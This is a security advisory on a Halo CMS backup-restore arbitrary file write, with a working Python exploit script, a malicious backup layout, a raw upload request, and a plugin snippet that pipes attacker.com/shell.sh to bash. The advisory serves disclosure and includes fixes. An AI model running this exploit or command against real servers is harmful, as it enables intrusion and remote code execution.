A critical arbitrary file write vulnerability exists in the backup restoration functionality of Halo CMS versions up to 2.25.4. The restoreWorkdir() method in MigrationServiceImpl.java copies the workdir/ directory from a user-supplied backup archive directly to the Halo application's working directory (~/.halo2/) without any validation of file types, path traversal protection, or symbolic link checks. An authenticated attacker with backup management privileges can craft a malicious backup ZIP file containing arbitrary files in the workdir/ directory, which will be written to the server's working directory upon restoration, potentially leading to Remote Code Execution (RCE) via plugin JAR replacement or authentication bypass via RSA key replacement.
CVSS v3.1 Score: 8.8 (High)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-73 (External Control of File Name or Path)
- Halo CMS ≤ 2.25.4
- All versions with backup restoration functionality
The vulnerability resides in the restoreWorkdir() method of MigrationServiceImpl.java (lines 230-243):
private Mono<Void> restoreWorkdir(Path backupRoot) {
return Mono.<Void>create(sink -> {
try {
var workdir = backupRoot.resolve("workdir");
if (Files.exists(workdir)) {
copyRecursively(workdir, haloProperties.getWorkDir()); // VULNERABLE LINE
}
sink.success();
} catch (IOException e) {
sink.error(e);
}
}).subscribeOn(scheduler);
}The copyRecursively() method (Spring's FileSystemUtils) performs a recursive copy without:
- File type validation - No check on file extensions or MIME types
- Path traversal protection - No check for
..sequences in filenames - Symbolic link detection - No check for symbolic links
- File size limits - No restriction on file sizes
- Overwrite protection - Silently overwrites existing files
The vulnerability is triggered through the backup restoration endpoint:
POST /apis/console.api.migration.halo.run/v1alpha1/restorations
Content-Type: multipart/form-data
The restoration process follows this sequence:
┌─────────────────────────────────────────────────────────────┐
│ MigrationServiceImpl.restore() │
│ 1. unpackBackup() → Extract ZIP to temp directory │
│ 2. restoreExtensions() → Restore extensions.data │
│ 3. restoreWorkdir() → Copy workdir/ to ~/.halo2/ │
│ ↑ Arbitrary files written to working directory │
└─────────────────────────────────────────────────────────────┘
A malicious backup ZIP file must contain:
malicious-backup.zip
├── extensions.data # Required: Can be empty or contain valid JSONL
└── workdir/ # Required: Contents copied to ~/.halo2/
├── PWNED_BY_POC.txt # Proof of concept marker file
├── plugins/ # Plugin JARs for RCE
│ └── evil-plugin.jar # Malicious plugin
└── keys/ # RSA keys for authentication bypass
├── pat_id_rsa # Malicious private key
└── pat_id_rsa.pub # Malicious public key
The extensions.data file must be valid for restoreExtensions() to succeed. Valid formats include:
-
Empty file:
(empty content) -
Empty line:
\n(newline only) -
Valid JSONL: One
ExtensionStoreobject per line:{"name": "/registry/test/dummy", "data": "e30=", "version": 1}Where
datais base64-encoded content.
- Authenticated user with backup management privileges
- Network access to Halo API
import zipfile
import io
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
# Empty extensions.data (passes restoreExtensions validation)
zf.writestr('extensions.data', '\n')
# Arbitrary file to write to ~/.halo2/
zf.writestr('workdir/PWNED_BY_POC.txt',
'Arbitrary file write confirmed!')
with open('malicious-backup.zip', 'wb') as f:
f.write(buf.getvalue())Frontend Backup Management Address:http://ip:port/console/backup
POST /apis/console.api.migration.halo.run/v1alpha1/restorations HTTP/1.1
Host: target-halo-server
Content-Type: multipart/form-data; boundary=----boundary
Cookie: SESSION=<session_id>
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="relativePath"
null
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="name"
malicious-backup.zip
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="type"
application/x-zip-compressed
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="file"; filename="malicious-backup.zip"
Content-Type: application/x-zip-compressed
<ZIP file binary content>
------WebKitFormBoundaryGxAtuAd1a3VkmhZY--# On the Halo server
ls -la ~/.halo2/PWNED_BY_POC.txt
cat ~/.halo2/PWNED_BY_POC.txt- Arbitrary File Write: Attacker can write any file to
~/.halo2/ - File Overwrite: Existing files are silently overwritten
| Attack Vector | Target File | Impact | Severity |
|---|---|---|---|
| Plugin JAR Replacement | ~/.halo2/plugins/*.jar |
Remote Code Execution | Critical |
| RSA Key Replacement | ~/.halo2/keys/pat_id_rsa |
Authentication Bypass | Critical |
| Theme Replacement | ~/.halo2/themes/* |
Stored XSS | High |
| Configuration Overwrite | ~/.halo2/*.yaml |
Security Control Bypass | High |
An attacker can replace a legitimate plugin JAR with a malicious one containing:
@Extension
public class MaliciousExtension {
@PostConstruct
public void init() {
// Execute arbitrary command
Runtime.getRuntime().exec("bash -c 'curl attacker.com/shell.sh | bash'");
}
}When the plugin is loaded, the malicious code executes with the privileges of the Halo process.
#!/usr/bin/env python3
"""
Halo CMS Backup Restore Arbitrary File Write PoC
Vulnerability: Backup Restore Arbitrary File Write
CVSS: 8.8 (High)
"""
import io
import sys
import zipfile
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://target:8090"
SESSION = sys.argv[2] if len(sys.argv) > 2 else "SESSION=xxx"
def create_malicious_backup():
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr('extensions.data', '\n')
zf.writestr('workdir/PWNED_BY_POC.txt',
'Halo backup restore arbitrary file write confirmed!')
buf.seek(0)
return buf
def exploit():
backup = create_malicious_backup()
url = f"{TARGET}/apis/console.api.migration.halo.run/v1alpha1/restorations"
files = {'file': ('backup.zip', backup, 'application/zip')}
headers = {'Cookie': SESSION}
r = requests.post(url, files=files, headers=headers, verify=False, timeout=60)
print(f"Status: {r.status_code}")
print(f"Response: {r.text[:300]}")
if r.status_code == 200:
print("\n[+] SUCCESS! Check: cat ~/.halo2/PWNED_BY_POC.txt")
if __name__ == "__main__":
exploit()# Execute PoC
python3 poc.py http://192.168.49.128:8090 "SESSION=f3d4ae4a-c1ac-46ec-bfe8-82e3206ee232"
# On Halo server
cat ~/.halo2/PWNED_BY_POC.txtAdd validation to restoreWorkdir() method:
private Mono<Void> restoreWorkdir(Path backupRoot) {
return Mono.<Void>create(sink -> {
try {
var workdir = backupRoot.resolve("workdir");
if (Files.exists(workdir)) {
// Validate no path traversal
checkDirectoryTraversal(backupRoot, workdir);
// Validate no symbolic links
Files.walkFileTree(workdir, new SimpleFileVisitor<Path>() {
@Override
public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) {
if (attrs.isSymbolicLink()) {
throw new SecurityException("Symbolic links not allowed");
}
return FileVisitResult.CONTINUE;
}
});
// Copy with validation
copyRecursively(workdir, haloProperties.getWorkDir());
}
sink.success();
} catch (IOException e) {
sink.error(e);
}
}).subscribeOn(scheduler);
}- Implement backup signing: Cryptographically sign backups to prevent tampering
- Add file type allowlist: Only allow specific file types in workdir
- Implement file size limits: Restrict maximum file sizes
- Add audit logging: Log all backup restoration operations
- Require re-authentication: Require password confirmation for backup restoration
- Vendor: https://github.com/halo-dev/halo
- Affected Code:
application/src/main/java/run/halo/app/migration/impl/MigrationServiceImpl.java - CWE-73: https://cwe.mitre.org/data/definitions/73.html
- CVSS Calculator: https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Discovery Date: 2026-07-10
- Vendor Notification: [Pending]
- Public Disclosure: [Pending]
- Discoverer: LIAN
This vulnerability disclosure is intended for security research purposes only. The author is not responsible for any misuse of this information. Always obtain proper authorization before testing systems for vulnerabilities.